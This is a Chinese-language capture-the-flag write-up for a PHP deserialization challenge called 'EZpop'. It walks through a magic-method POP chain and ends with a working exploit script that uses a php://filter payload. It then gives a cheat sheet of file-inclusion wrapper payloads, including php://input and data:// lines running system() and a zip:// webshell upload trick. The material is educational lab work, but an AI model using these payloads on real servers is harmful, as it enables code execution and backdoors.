EZpop分析

首先源代码如下

<?php

class Modifier {

    protected  $var;

    public function append($value){

        include($value);

    }

    public function __invoke(){

        $this->append($this->var);

    }

}

class Show{

    public $source;

    public $str;

    public function __construct($file='index.php'){

        $this->source = $file;

        echo 'Welcome to '.$this->source."<br>";

    }

    public function __toString(){

        return $this->str->source;

    }

    public function __wakeup(){

        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {

            echo "hacker";

            $this->source = "index.php";

        }

    }

}

class Test{

    public $p;

    public function __construct(){

        $this->p = array();

    }

    public function __get($key){

        $function = $this->p;

        return $function();

    }

}

if(isset($_GET['pop'])){

    @unserialize($_GET['pop']);

}

else{

    $a=new Show;

    highlight_file(__FILE__);

}

?>

首先找到利用点

public function append($value){

        include($value);

    }

找到了include（）

这里补充一下常用的PHP魔术方法，这道题考察的就是魔术方法的互相调用

__sleep() //使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

然后找参数从哪里传过来的

  public function __invoke(){

        $this->append($this->var);

    }

$var就是可以传参数的地方
那么怎么才能调用__invoke()呢
发现

    public function __get($key){

        $function = $this->p;

        return $function();

    }

如果将$this->p传递为class Modifier的对象就会自动出发__invoke()
那么又如如何调用__get（）呢
发现

       public function __toString(){

        return $this->str->source;

    }

如果将$str传参为Test的对象，Test中没有source方法就会调用__get()
那么又如何调用__toString()呢

    public function __wakeup(){

        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {

            echo "hacker";

            $this->source = "index.php";

        }

如果source是Show的对象就会自动调用__toString()
而__wakeup()是自动调用的，整个链条就形成了

__wake() => __toString() => __get() => __invoke() =>include(flag.txt)

开始写exp:

<?php

class Modifier{

    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}

class Show{

    public $source;

        public $str;

        public function __construct($file){

    $this->source = $file;

    }

     }

class Test{

    public $p;

}

$a=new Show('a');

$a->str=new Test();

$a->str->p=new Modifier();

$b=new Show($a);

echo urlencode(serialize($b));

?>

这里有一个小疑问记录一下：

问题
就是为什么include（）函数要用php伪协议去读文件呢，include（）本身不就可以读文件的嘛,我之前写exp时没有用伪协议，所以没有读出文件

解决

这就是我对include()这个函数理解的不够出深入造成的，include()这个函数除了读取文件还会执行文件内容，所以需要用伪协议进行base64编码才能显示文件的内容，否则就会被php解释器执行而不会输出到前端

延伸

php://filter            读取文件源码

php://input             任意代码执行

data://text/plain       任意代码执行

zip://                  配合文件上传开启后门

专题学习一下php伪协议的各种利用姿势

PHP://filter

php://filter 协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码

?url=php://filter/read=convert.base64-encode/resource=index.php

PHP://input

php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/form-data时,php:/input将会无效

?url=php://input                -- GET请求参数中使用php://input协议

<?php system('ls'); ?>            -- post请求体中的内容会被当做文件内容执行

Data://

协议格式: data:资源类型;编码,内容

data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行

?url=data://text/plain,<?php system('id') ?>

ZIP://

ziip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell

将shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马

?url=zip://shell.jpg

巴特西

EZpop分析

最新文章

热门文章